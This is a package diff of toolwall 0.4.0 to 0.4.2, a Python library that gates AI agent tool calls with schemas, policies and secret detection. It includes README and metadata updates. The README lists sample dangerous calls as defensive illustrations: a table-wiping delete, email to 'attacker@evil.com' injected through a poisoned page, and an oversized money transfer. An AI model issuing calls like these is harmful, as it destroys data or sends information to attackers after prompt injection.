toolwall 0.4.0__tar.gz → 0.4.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -45,3 +45,8 @@ live_audit.*
45
45
  audit.json
46
46
  audit.csv
47
47
  toolwall/audit.*
48
+ .claude/
49
+ CONVERSATIONS.md
50
+ BRIEF.html
51
+ DECK.html
52
+ VIDEO_SCRIPT.md
@@ -1,21 +1,21 @@
1
- MIT License
2
-
3
- Copyright (c) 2026 Mohammad Safwan Athar
4
-
5
- Permission is hereby granted, free of charge, to any person obtaining a copy
6
- of this software and associated documentation files (the "Software"), to deal
7
- in the Software without restriction, including without limitation the rights
8
- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
- copies of the Software, and to permit persons to whom the Software is
10
- furnished to do so, subject to the following conditions:
11
-
12
- The above copyright notice and this permission notice shall be included in all
13
- copies or substantial portions of the Software.
14
-
15
- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
- SOFTWARE.
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Mohammad Safwan Athar
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.3
2
2
  Name: toolwall
3
- Version: 0.4.0
3
+ Version: 0.4.2
4
4
  Summary: Security gateway for AI agent tool calls: fail-closed schema + policy + secret-detection gate before any tool executes
5
5
  Project-URL: Homepage, https://github.com/Dev-Saif-Ops/toolwall
6
6
  Author: Mohammad Safwan Athar
@@ -99,16 +99,22 @@ Everything not explicitly allowed is blocked. That is the whole idea.
99
99
 
100
100
  - **Fail-closed gate**: unknown tool, schema violation, policy violation, budget hit,
101
101
  or unparseable payload all block *before* the tool runs. Registration is the allowlist.
102
- - **Policy engine**: value constraints (`in_range`, `one_of`, `matches`, `ends_with`…),
102
+ - **Policy engine**: value constraints (`in_range`, `one_of`, `matches`, `email_domain`…),
103
103
  cross-argument rules, human-approval flags, and budget caps (calls / per-tool / USD).
104
+ For recipients use `email_domain("ourco.com")`, not `ends_with`: a comma-separated
105
+ list ends with your domain too.
104
106
  - **Shield, both directions**: detects secrets (AWS, OpenAI, GitHub, Stripe, Slack,
105
107
  JWT, PEM, and high-entropy strings) in tool arguments *and in tool return values*,
106
- then blocks or redacts them. A tool that reads a secret out of a database can't
107
- hand it back to the model. The audit log never contains the secret value.
108
+ then blocks or redacts them, including in dict keys, tuples (database rows), sets,
109
+ bytes and dataclasses. Output that cannot be scanned (generators, cursors, file
110
+ objects, XML elements, models, arrays) is withheld, so return plain data;
111
+ redaction never modifies the tool's own objects. Reasons, reports
112
+ and the audit log are scrubbed of detected secrets.
108
113
  - **Dry-run**: run your whole agent with `dry_run=True`: nothing executes, and
109
114
  `gate.report()` tells you what it *would* have done. `suggest_policies(gate)` drafts
110
115
  a starter policy from the calls it observed.
111
- - **MCP guard**: `MCPGuard` puts the same gate in front of any MCP server.
116
+ - **MCP guard**: `MCPGuard` runs the same check and execute path (budget, dry-run,
117
+ receipts, output scanning) in front of a function that forwards to your MCP server.
112
118
  - **Audit trail**: every verdict exported to JSON/CSV.
113
119
 
114
120
  ## Why not just the guardrails in my agent framework?
@@ -146,7 +152,8 @@ guard = MCPGuard(gate, forward=call_downstream_mcp_server)
146
152
  decision = guard.handle(tool_name, args) # only ALLOW is forwarded
147
153
  ```
148
154
 
149
- Install the transport extra with `pip install "toolwall[mcp]"`.
155
+ `forward` is your own function that calls the downstream server; no MCP transport
156
+ ships yet. `pip install "toolwall[mcp]"` only installs the `mcp` package.
150
157
 
151
158
  ## Examples
152
159
 
@@ -165,12 +172,22 @@ python examples/live_gemini_agent.py # set GEMINI_API_KEY first
165
172
 
166
173
  ## Honest status
167
174
 
168
- `toolwall` is alpha. The published failure suite blocks **28 of 28 attack cases across
169
- 11 classes with 0 false blocks** on clean traffic, at sub-millisecond overhead. Secret
175
+ `toolwall` is alpha. The published failure suite blocks **35 of 35 attack cases across
176
+ 11 classes with 0 false blocks on its 14 clean cases**, at sub-millisecond per-call
177
+ overhead for small arguments (about 2 ms at 50 KB). It is a regression suite for one
178
+ reference config, not a coverage measure, and it lists ordinary text the shield is
179
+ known to flag. Secret
170
180
  detection is pattern + entropy based and is **never 100%**. Structureless passwords are
171
181
  out of scope, and the suite report states exactly what is and is not proven. Every claim
172
182
  about toolwall cites that report, nothing broader.
173
183
 
184
+ **The verdict covers the call, not the state of the world.** An approved
185
+ `delete_records(id=42)` deletes whatever 42 points to at execution time; if the resource
186
+ was swapped after the check, the receipt still matches because the argument never
187
+ changed. Argument integrity is not resource integrity. For resources that can change
188
+ owner or meaning, re-verify inside the tool's own transaction (for example
189
+ compare-and-swap on a version column); the gate cannot see your datastore.
190
+
174
191
  ## Links
175
192
 
176
193
  - **Source, full docs, and the failure suite:** https://github.com/Dev-Saif-Ops/toolwall
@@ -1,160 +1,177 @@
1
- # toolwall
2
-
3
- [![PyPI version](https://img.shields.io/pypi/v/toolwall.svg?cacheSeconds=300)](https://pypi.org/project/toolwall/)
4
- [![Python versions](https://img.shields.io/pypi/pyversions/toolwall.svg)](https://pypi.org/project/toolwall/)
5
- [![License: MIT](https://img.shields.io/pypi/l/toolwall.svg)](https://github.com/Dev-Saif-Ops/toolwall/blob/main/toolwall/LICENSE)
6
- [![Zero dependencies](https://img.shields.io/badge/dependencies-zero-brightgreen.svg)](https://github.com/Dev-Saif-Ops/toolwall)
7
-
8
- **The security gateway for AI agent tool calls.**
9
-
10
- Your LLM can generate a *valid* tool call. That doesn't mean it's *safe* to execute.
11
-
12
- ```python
13
- delete_records(filter={}) # perfectly valid JSON. whole table gone.
14
- send_email(to="attacker@evil.com") # recipient injected via a poisoned web page
15
- transfer_money(amount=999999999) # schema-valid. every field the right type.
16
- db_query(limit=10_000_000) # production melts.
17
- ```
18
-
19
- Every one of these passes JSON schema validation. Structured outputs, schemas, and
20
- content moderation all wave them through. `toolwall` is the fail-closed checkpoint
21
- between the LLM's tool call and execution that blocks them.
22
-
23
- ---
24
-
25
- ## Install
26
-
27
- ```bash
28
- pip install toolwall
29
- ```
30
-
31
- Zero required dependencies. Works with OpenAI, Anthropic, and Gemini native tool
32
- calling (and plain dicts). Python 3.10+.
33
-
34
- ## Quickstart
35
-
36
- ```python
37
- from toolwall import ToolWall, Policy, ToolSchema, in_range, not_empty
38
-
39
- wall = ToolWall() # default-deny, secret detection + audit on
40
-
41
- wall.register("db_query", db_query,
42
- schema=ToolSchema(required=["q"], types={"q": str, "limit": int}),
43
- policy=Policy(constraints={"limit": in_range(1, 100)}))
44
- wall.register("delete_records", delete_records,
45
- schema=ToolSchema(required=["filter"], types={"filter": dict}),
46
- policy=Policy(constraints={"filter": not_empty}, require_approval=True))
47
- wall.budget(max_calls=20)
48
-
49
- result = wall.call("delete_records", {"filter": {}})
50
- # result.blocked -> True
51
- # result.reason -> "policy violation: arg 'filter' rejected by not_empty"
52
-
53
- results = wall.guard(openai_response) # or gate a raw OpenAI/Anthropic/Gemini response
54
- ```
55
-
56
- Only an `ALLOW` verdict runs the tool. `Gate` is the lower-level primitive underneath.
57
-
58
- ## What it stops
59
-
60
- ```python
61
- wall.call("delete_records", {"filter": {}})
62
- # BLOCKED: policy violation: arg 'filter' rejected by not_empty
63
-
64
- wall.call("send_email", {"to": "ops@ourco.com", "body": "aws key AKIA..."})
65
- # BLOCKED: secret detected (aws-access-key) in arg 'body'
66
-
67
- wall.call("db_query", {"q": "everything", "limit": 10_000_000})
68
- # BLOCKED: policy violation: arg 'limit' rejected by in_range(1, 100)
69
-
70
- wall.call("run_shell", {"cmd": "..."})
71
- # BLOCKED: unknown tool: 'run_shell'
72
- ```
73
-
74
- Everything not explicitly allowed is blocked. That is the whole idea.
75
-
76
- ## What it does
77
-
78
- - **Fail-closed gate**: unknown tool, schema violation, policy violation, budget hit,
79
- or unparseable payload all block *before* the tool runs. Registration is the allowlist.
80
- - **Policy engine**: value constraints (`in_range`, `one_of`, `matches`, `ends_with`…),
81
- cross-argument rules, human-approval flags, and budget caps (calls / per-tool / USD).
82
- - **Shield, both directions**: detects secrets (AWS, OpenAI, GitHub, Stripe, Slack,
83
- JWT, PEM, and high-entropy strings) in tool arguments *and in tool return values*,
84
- then blocks or redacts them. A tool that reads a secret out of a database can't
85
- hand it back to the model. The audit log never contains the secret value.
86
- - **Dry-run**: run your whole agent with `dry_run=True`: nothing executes, and
87
- `gate.report()` tells you what it *would* have done. `suggest_policies(gate)` drafts
88
- a starter policy from the calls it observed.
89
- - **MCP guard**: `MCPGuard` puts the same gate in front of any MCP server.
90
- - **Audit trail**: every verdict exported to JSON/CSV.
91
-
92
- ## Why not just the guardrails in my agent framework?
93
-
94
- Use those too. Two things make `toolwall` different from security bundled into one
95
- workspace or framework:
96
-
97
- - **It's an allowlist, not a blocklist.** Bundled protections usually ship a list of
98
- dangerous patterns to deny, so anything the authors did not anticipate gets through.
99
- Here, registration *is* the allowlist: everything not explicitly allowed is blocked.
100
- - **It runs inside your agent, not instead of it.** A workspace's built-in security
101
- protects that workspace. `toolwall` is a zero-dependency library that drops into the
102
- agent you already have, on any framework, and speaks OpenAI, Anthropic, Gemini, and MCP.
103
-
104
- It is **not** a sandbox. A sandbox isolates the process; `toolwall` authorizes the call.
105
- Production setups want both.
106
-
107
- ## Dry-run first
108
-
109
- ```python
110
- from toolwall import Gate, Meter, suggest_policies
111
-
112
- gate = Gate(default="deny", dry_run=True, meter=Meter())
113
- # ... run your agent; ALLOW calls are simulated, never executed ...
114
- print(gate.report()) # verdict counts, blocked reasons, secrets caught
115
- print(suggest_policies(gate)) # a draft policy from observed calls, for you to review
116
- ```
117
-
118
- ## Guard an MCP server
119
-
120
- ```python
121
- from toolwall import Gate, MCPGuard
122
-
123
- guard = MCPGuard(gate, forward=call_downstream_mcp_server)
124
- decision = guard.handle(tool_name, args) # only ALLOW is forwarded
125
- ```
126
-
127
- Install the transport extra with `pip install "toolwall[mcp]"`.
128
-
129
- ## Examples
130
-
131
- Runnable scripts live in the [repo `examples/` folder](https://github.com/Dev-Saif-Ops/toolwall/tree/main/toolwall/examples):
132
-
133
- - **quickstart.py**: six gated scenarios (allow, unknown tool, out-of-range, empty-filter delete, approval hold, secret block). No API key.
134
- - **dangerous_agent_demo.py**: an off-the-rails agent replayed with vs without the gate. No API key.
135
- - **mcp_guard_demo.py**: the gate in front of an MCP-style server. No API key.
136
- - **live_gemini_agent.py**: a real Gemini agent using native function calling, gated by toolwall. Needs `GEMINI_API_KEY`.
137
-
138
- ```bash
139
- git clone https://github.com/Dev-Saif-Ops/toolwall && cd toolwall/toolwall
140
- python examples/quickstart.py
141
- python examples/live_gemini_agent.py # set GEMINI_API_KEY first
142
- ```
143
-
144
- ## Honest status
145
-
146
- `toolwall` is alpha. The published failure suite blocks **28 of 28 attack cases across
147
- 11 classes with 0 false blocks** on clean traffic, at sub-millisecond overhead. Secret
148
- detection is pattern + entropy based and is **never 100%**. Structureless passwords are
149
- out of scope, and the suite report states exactly what is and is not proven. Every claim
150
- about toolwall cites that report, nothing broader.
151
-
152
- ## Links
153
-
154
- - **Source, full docs, and the failure suite:** https://github.com/Dev-Saif-Ops/toolwall
155
- - **What happened to TOAP** (this project's predecessor, an honest postmortem):
156
- the [`toap-v0.1-archive`](https://github.com/Dev-Saif-Ops/toolwall/tree/toap-v0.1-archive) branch
157
-
158
- ## License
159
-
160
- MIT © Mohammad Safwan Athar
1
+ # toolwall
2
+
3
+ [![PyPI version](https://img.shields.io/pypi/v/toolwall.svg?cacheSeconds=300)](https://pypi.org/project/toolwall/)
4
+ [![Python versions](https://img.shields.io/pypi/pyversions/toolwall.svg)](https://pypi.org/project/toolwall/)
5
+ [![License: MIT](https://img.shields.io/pypi/l/toolwall.svg)](https://github.com/Dev-Saif-Ops/toolwall/blob/main/toolwall/LICENSE)
6
+ [![Zero dependencies](https://img.shields.io/badge/dependencies-zero-brightgreen.svg)](https://github.com/Dev-Saif-Ops/toolwall)
7
+
8
+ **The security gateway for AI agent tool calls.**
9
+
10
+ Your LLM can generate a *valid* tool call. That doesn't mean it's *safe* to execute.
11
+
12
+ ```python
13
+ delete_records(filter={}) # perfectly valid JSON. whole table gone.
14
+ send_email(to="attacker@evil.com") # recipient injected via a poisoned web page
15
+ transfer_money(amount=999999999) # schema-valid. every field the right type.
16
+ db_query(limit=10_000_000) # production melts.
17
+ ```
18
+
19
+ Every one of these passes JSON schema validation. Structured outputs, schemas, and
20
+ content moderation all wave them through. `toolwall` is the fail-closed checkpoint
21
+ between the LLM's tool call and execution that blocks them.
22
+
23
+ ---
24
+
25
+ ## Install
26
+
27
+ ```bash
28
+ pip install toolwall
29
+ ```
30
+
31
+ Zero required dependencies. Works with OpenAI, Anthropic, and Gemini native tool
32
+ calling (and plain dicts). Python 3.10+.
33
+
34
+ ## Quickstart
35
+
36
+ ```python
37
+ from toolwall import ToolWall, Policy, ToolSchema, in_range, not_empty
38
+
39
+ wall = ToolWall() # default-deny, secret detection + audit on
40
+
41
+ wall.register("db_query", db_query,
42
+ schema=ToolSchema(required=["q"], types={"q": str, "limit": int}),
43
+ policy=Policy(constraints={"limit": in_range(1, 100)}))
44
+ wall.register("delete_records", delete_records,
45
+ schema=ToolSchema(required=["filter"], types={"filter": dict}),
46
+ policy=Policy(constraints={"filter": not_empty}, require_approval=True))
47
+ wall.budget(max_calls=20)
48
+
49
+ result = wall.call("delete_records", {"filter": {}})
50
+ # result.blocked -> True
51
+ # result.reason -> "policy violation: arg 'filter' rejected by not_empty"
52
+
53
+ results = wall.guard(openai_response) # or gate a raw OpenAI/Anthropic/Gemini response
54
+ ```
55
+
56
+ Only an `ALLOW` verdict runs the tool. `Gate` is the lower-level primitive underneath.
57
+
58
+ ## What it stops
59
+
60
+ ```python
61
+ wall.call("delete_records", {"filter": {}})
62
+ # BLOCKED: policy violation: arg 'filter' rejected by not_empty
63
+
64
+ wall.call("send_email", {"to": "ops@ourco.com", "body": "aws key AKIA..."})
65
+ # BLOCKED: secret detected (aws-access-key) in arg 'body'
66
+
67
+ wall.call("db_query", {"q": "everything", "limit": 10_000_000})
68
+ # BLOCKED: policy violation: arg 'limit' rejected by in_range(1, 100)
69
+
70
+ wall.call("run_shell", {"cmd": "..."})
71
+ # BLOCKED: unknown tool: 'run_shell'
72
+ ```
73
+
74
+ Everything not explicitly allowed is blocked. That is the whole idea.
75
+
76
+ ## What it does
77
+
78
+ - **Fail-closed gate**: unknown tool, schema violation, policy violation, budget hit,
79
+ or unparseable payload all block *before* the tool runs. Registration is the allowlist.
80
+ - **Policy engine**: value constraints (`in_range`, `one_of`, `matches`, `email_domain`…),
81
+ cross-argument rules, human-approval flags, and budget caps (calls / per-tool / USD).
82
+ For recipients use `email_domain("ourco.com")`, not `ends_with`: a comma-separated
83
+ list ends with your domain too.
84
+ - **Shield, both directions**: detects secrets (AWS, OpenAI, GitHub, Stripe, Slack,
85
+ JWT, PEM, and high-entropy strings) in tool arguments *and in tool return values*,
86
+ then blocks or redacts them, including in dict keys, tuples (database rows), sets,
87
+ bytes and dataclasses. Output that cannot be scanned (generators, cursors, file
88
+ objects, XML elements, models, arrays) is withheld, so return plain data;
89
+ redaction never modifies the tool's own objects. Reasons, reports
90
+ and the audit log are scrubbed of detected secrets.
91
+ - **Dry-run**: run your whole agent with `dry_run=True`: nothing executes, and
92
+ `gate.report()` tells you what it *would* have done. `suggest_policies(gate)` drafts
93
+ a starter policy from the calls it observed.
94
+ - **MCP guard**: `MCPGuard` runs the same check and execute path (budget, dry-run,
95
+ receipts, output scanning) in front of a function that forwards to your MCP server.
96
+ - **Audit trail**: every verdict exported to JSON/CSV.
97
+
98
+ ## Why not just the guardrails in my agent framework?
99
+
100
+ Use those too. Two things make `toolwall` different from security bundled into one
101
+ workspace or framework:
102
+
103
+ - **It's an allowlist, not a blocklist.** Bundled protections usually ship a list of
104
+ dangerous patterns to deny, so anything the authors did not anticipate gets through.
105
+ Here, registration *is* the allowlist: everything not explicitly allowed is blocked.
106
+ - **It runs inside your agent, not instead of it.** A workspace's built-in security
107
+ protects that workspace. `toolwall` is a zero-dependency library that drops into the
108
+ agent you already have, on any framework, and speaks OpenAI, Anthropic, Gemini, and MCP.
109
+
110
+ It is **not** a sandbox. A sandbox isolates the process; `toolwall` authorizes the call.
111
+ Production setups want both.
112
+
113
+ ## Dry-run first
114
+
115
+ ```python
116
+ from toolwall import Gate, Meter, suggest_policies
117
+
118
+ gate = Gate(default="deny", dry_run=True, meter=Meter())
119
+ # ... run your agent; ALLOW calls are simulated, never executed ...
120
+ print(gate.report()) # verdict counts, blocked reasons, secrets caught
121
+ print(suggest_policies(gate)) # a draft policy from observed calls, for you to review
122
+ ```
123
+
124
+ ## Guard an MCP server
125
+
126
+ ```python
127
+ from toolwall import Gate, MCPGuard
128
+
129
+ guard = MCPGuard(gate, forward=call_downstream_mcp_server)
130
+ decision = guard.handle(tool_name, args) # only ALLOW is forwarded
131
+ ```
132
+
133
+ `forward` is your own function that calls the downstream server; no MCP transport
134
+ ships yet. `pip install "toolwall[mcp]"` only installs the `mcp` package.
135
+
136
+ ## Examples
137
+
138
+ Runnable scripts live in the [repo `examples/` folder](https://github.com/Dev-Saif-Ops/toolwall/tree/main/toolwall/examples):
139
+
140
+ - **quickstart.py**: six gated scenarios (allow, unknown tool, out-of-range, empty-filter delete, approval hold, secret block). No API key.
141
+ - **dangerous_agent_demo.py**: an off-the-rails agent replayed with vs without the gate. No API key.
142
+ - **mcp_guard_demo.py**: the gate in front of an MCP-style server. No API key.
143
+ - **live_gemini_agent.py**: a real Gemini agent using native function calling, gated by toolwall. Needs `GEMINI_API_KEY`.
144
+
145
+ ```bash
146
+ git clone https://github.com/Dev-Saif-Ops/toolwall && cd toolwall/toolwall
147
+ python examples/quickstart.py
148
+ python examples/live_gemini_agent.py # set GEMINI_API_KEY first
149
+ ```
150
+
151
+ ## Honest status
152
+
153
+ `toolwall` is alpha. The published failure suite blocks **35 of 35 attack cases across
154
+ 11 classes with 0 false blocks on its 14 clean cases**, at sub-millisecond per-call
155
+ overhead for small arguments (about 2 ms at 50 KB). It is a regression suite for one
156
+ reference config, not a coverage measure, and it lists ordinary text the shield is
157
+ known to flag. Secret
158
+ detection is pattern + entropy based and is **never 100%**. Structureless passwords are
159
+ out of scope, and the suite report states exactly what is and is not proven. Every claim
160
+ about toolwall cites that report, nothing broader.
161
+
162
+ **The verdict covers the call, not the state of the world.** An approved
163
+ `delete_records(id=42)` deletes whatever 42 points to at execution time; if the resource
164
+ was swapped after the check, the receipt still matches because the argument never
165
+ changed. Argument integrity is not resource integrity. For resources that can change
166
+ owner or meaning, re-verify inside the tool's own transaction (for example
167
+ compare-and-swap on a version column); the gate cannot see your datastore.
168
+
169
+ ## Links
170
+
171
+ - **Source, full docs, and the failure suite:** https://github.com/Dev-Saif-Ops/toolwall
172
+ - **What happened to TOAP** (this project's predecessor, an honest postmortem):
173
+ the [`toap-v0.1-archive`](https://github.com/Dev-Saif-Ops/toolwall/tree/toap-v0.1-archive) branch
174
+
175
+ ## License
176
+
177
+ MIT © Mohammad Safwan Athar
@@ -1,49 +1,49 @@
1
- [build-system]
2
- # Pin hatchling below the release that emits Metadata-Version 2.4/2.5.
3
- # PyPI's upload endpoint accepts up to 2.3; newer metadata is rejected with a 400.
4
- requires = ["hatchling<1.27"]
5
- build-backend = "hatchling.build"
6
-
7
- [project]
8
- name = "toolwall"
9
- version = "0.4.0"
10
- description = "Security gateway for AI agent tool calls: fail-closed schema + policy + secret-detection gate before any tool executes"
11
- readme = "README.md"
12
- license = { text = "MIT" }
13
- requires-python = ">=3.10"
14
- authors = [{ name = "Mohammad Safwan Athar" }]
15
- keywords = [
16
- "ai", "agents", "ai-agents", "llm", "llm-security", "ai-agent-security",
17
- "agent-security", "tool-calling", "tool-call-validation", "guardrails",
18
- "security", "ai-safety", "mcp", "mcp-security", "mcp-firewall", "mcp-proxy",
19
- "prompt-injection", "secret-detection", "agent-sandbox", "firewall",
20
- ]
21
- classifiers = [
22
- "Development Status :: 3 - Alpha",
23
- "Intended Audience :: Developers",
24
- "License :: OSI Approved :: MIT License",
25
- "Programming Language :: Python :: 3",
26
- "Topic :: Software Development :: Libraries",
27
- "Topic :: Security",
28
- ]
29
- dependencies = []
30
-
31
- [project.optional-dependencies]
32
- mcp = ["mcp>=1.0.0"]
33
- dev = ["pytest>=8.0", "pytest-cov>=4.0"]
34
-
35
- [project.scripts]
36
- toolwall = "toolwall.cli:main"
37
-
38
- [project.urls]
39
- Homepage = "https://github.com/Dev-Saif-Ops/toolwall"
40
-
41
- [tool.hatch.build.targets.wheel]
42
- packages = ["src/toolwall"]
43
-
44
- [tool.hatch.build.targets.sdist]
45
- include = ["src/toolwall", "README.md", "LICENSE"]
46
-
47
- [tool.pytest.ini_options]
48
- testpaths = ["tests"]
49
- pythonpath = ["src"]
1
+ [build-system]
2
+ # Pin hatchling below the release that emits Metadata-Version 2.4/2.5.
3
+ # PyPI's upload endpoint accepts up to 2.3; newer metadata is rejected with a 400.
4
+ requires = ["hatchling<1.27"]
5
+ build-backend = "hatchling.build"
6
+
7
+ [project]
8
+ name = "toolwall"
9
+ version = "0.4.2"
10
+ description = "Security gateway for AI agent tool calls: fail-closed schema + policy + secret-detection gate before any tool executes"
11
+ readme = "README.md"
12
+ license = { text = "MIT" }
13
+ requires-python = ">=3.10"
14
+ authors = [{ name = "Mohammad Safwan Athar" }]
15
+ keywords = [
16
+ "ai", "agents", "ai-agents", "llm", "llm-security", "ai-agent-security",
17
+ "agent-security", "tool-calling", "tool-call-validation", "guardrails",
18
+ "security", "ai-safety", "mcp", "mcp-security", "mcp-firewall", "mcp-proxy",
19
+ "prompt-injection", "secret-detection", "agent-sandbox", "firewall",
20
+ ]
21
+ classifiers = [
22
+ "Development Status :: 3 - Alpha",
23
+ "Intended Audience :: Developers",
24
+ "License :: OSI Approved :: MIT License",
25
+ "Programming Language :: Python :: 3",
26
+ "Topic :: Software Development :: Libraries",
27
+ "Topic :: Security",
28
+ ]
29
+ dependencies = []
30
+
31
+ [project.optional-dependencies]
32
+ mcp = ["mcp>=1.0.0"]
33
+ dev = ["pytest>=8.0", "pytest-cov>=4.0"]
34
+
35
+ [project.scripts]
36
+ toolwall = "toolwall.cli:main"
37
+
38
+ [project.urls]
39
+ Homepage = "https://github.com/Dev-Saif-Ops/toolwall"
40
+
41
+ [tool.hatch.build.targets.wheel]
42
+ packages = ["src/toolwall"]
43
+
44
+ [tool.hatch.build.targets.sdist]
45
+ include = ["src/toolwall", "README.md", "LICENSE"]
46
+
47
+ [tool.pytest.ini_options]
48
+ testpaths = ["tests"]
49
+ pythonpath = ["src"]